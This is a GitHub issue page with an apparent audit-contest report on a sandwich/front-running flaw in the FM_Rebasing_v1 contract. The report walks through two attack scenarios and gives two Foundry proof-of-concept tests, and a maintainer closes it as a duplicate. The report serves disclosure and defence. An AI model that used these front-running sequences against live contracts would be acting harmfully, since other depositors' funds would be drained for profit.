Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Sandwich Attack Vulnerability in FM_Rebasing_v1 via Token Transfers and Orchestrator Transactions #154

Open
hats-bug-reporter bot opened this issue Jun 18, 2024 · 1 comment
Labels
bug Something isn't working duplicate This issue or pull request already exists

Comments

@hats-bug-reporter
Copy link

Github username: @0xmahdirostami
Twitter username: 0xmahdirostami
Submission hash (on-chain): 0x6be64ca3e8c2415e14b45b3c12e1a5d29be34ad727a750220815f2af71ea84ae
Severity: high

Description:
Description

In a previous issue (#153), it was mentioned that if the owner buys shares and transfers them out, it will harm users. The main point of this issue is that if the owner doesn't buy shares but transfers them manually to a contract and then transfers them out, it creates opportunities for sandwich attacks.

A malicious user can exploit the FM_Rebasing_v1 system by sandwiching the incoming transfer and transferOrchestratorToken transactions. They can buy shares before funds are transferred to the contract, sell after the funds are transferred but before transferOrchestratorToken, and then buy again after transferOrchestratorToken. When tokens are transferred to the vault, the value of user shares increases. Conversely, when tokens are transferred out via transferOrchestratorToken, the value of the shares decreases. This allows the user to sandwich these transactions to avoid loss or gain profit.

Attack Scenario

First Scenario:

  1. Alice deposits 100 tokens and receives 100 shares.
  2. The transferOrchestratorToken is called through the orchestrator, transferring 100 tokens out.
  3. Alice front-runs the transaction and burns her shares, receiving 100 tokens, the same amount as her initial deposit.
  4. The transferOrchestratorToken transaction is executed. Now the supply target is 100, and the active bits remain 200 (other users lost half of their tokens, but Alice didn't).
  5. Alice deposits 100 tokens and receives 200 shares (valued at 100 tokens).

Second Scenario:

  1. The owner transfers 200 tokens to FM_Rebasing_v1 to increase share value.
  2. Alice front-runs the transaction and deposits 1000 tokens (receives 1000 shares).
  3. Tokens are transferred to FM_Rebasing_v1, making the supply target 1400 and active bits 1200.
  4. Alice burns 1000 shares and receives 1166 tokens (166 token profit, while other users have 34 tokens total).

This type of sandwich attack can also be performed during every token transfer to the vault. By front-running the transfer, minting shares, and burning them after the value increases, a malicious user can exploit the system for profit.

Proof of Concept (PoC) File

Two PoCs for two scenarios:

function testFrontRunRebasing() public {
    // create a random address
    address user = makeAddr("EFewfaewfeawfaewfawefewfaeawefawe");
    address user2 = makeAddr("ewfawefaw");
    uint256 amount = 1e18;

    // Mint tokens to depositor.
    _token.mint(user, amount);
    _token.mint(user2, amount);

    // User deposits tokens.
    vm.startPrank(user);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user, user, amount);

        fundingManager.deposit(amount);
    }
    vm.stopPrank();

    // User deposits tokens.
    vm.startPrank(user2);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user2, user2, amount);

        fundingManager.deposit(amount);
    }
    vm.stopPrank();

    // User received funding tokens on 1:1 basis.
    assertEq(fundingManager.balanceOf(user), amount);
    assertEq(fundingManager.balanceOf(user2), amount);

    // malicious user front-runs the transaction and withdraws  
    vm.startPrank(user);
    fundingManager.withdraw(amount);
    vm.stopPrank();
    // Simulate spending some tokens from the FundingManager by burning tokens.
    _token.burn(address(fundingManager), amount/2);
    // Rebase manually. Rebase is executed automatically on every token
    // balance mutating function.
    fundingManager.rebase();
    // User deposits tokens again.
    vm.startPrank(user);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user, user, amount);

        fundingManager.deposit(amount);
    }
    vm.stopPrank();
    // user has 2 times more tokens than user2   
    assertEq(fundingManager.balanceOf(user), amount);
    assertEq(fundingManager.balanceOf(user2), amount/2);
}
function testFrontRunRebasingUp() public {
    // create a random address
    address user = makeAddr("EFewfaewfeawfaewfawefewfaeawefawe");
    address user2 = makeAddr("ewfawefaw");
    uint256 amount = 1e18;

    // Mint tokens to depositor.
    _token.mint(user, amount);
    _token.mint(user2, amount*10);

    // User deposits tokens.
    vm.startPrank(user);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user, user, amount);

        fundingManager.deposit(amount);
    }
    vm.stopPrank();

    // User received funding tokens on 1:1 basis.
    assertEq(fundingManager.balanceOf(user), amount);

    // malicious user front-runs the transaction mints token before rebasing happes ( increase value )  
    vm.startPrank(user2);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user2, user2, amount*10);

        fundingManager.deposit(amount*10);
    }
    vm.stopPrank();

    // Simulate transferring some tokens to the FundingManager by minting tokens.
    _token.mint(address(fundingManager), amount);
    // Rebase manually. Rebase is executed automatically on every token
    // balance mutating function.
    fundingManager.rebase();
    // User withdraws instantly.
    // malicious user back-runs the transaction and withdraws  
    vm.startPrank(user2);
    fundingManager.withdraw(fundingManager.balanceOf(user2));
    vm.stopPrank();

    // user2 has more tokens than initial deposit(amount*10), gain profit by front-running
    assertGt(_token.balanceOf(user2), amount*10);
}
@hats-bug-reporter hats-bug-reporter bot added the bug Something isn't working label Jun 18, 2024
@FHieser
Copy link

FHieser commented Jun 26, 2024

This is a duplicate of #128

@FHieser FHieser added the duplicate This issue or pull request already exists label Jun 26, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working duplicate This issue or pull request already exists
Projects
None yet
Development

No branches or pull requests

1 participant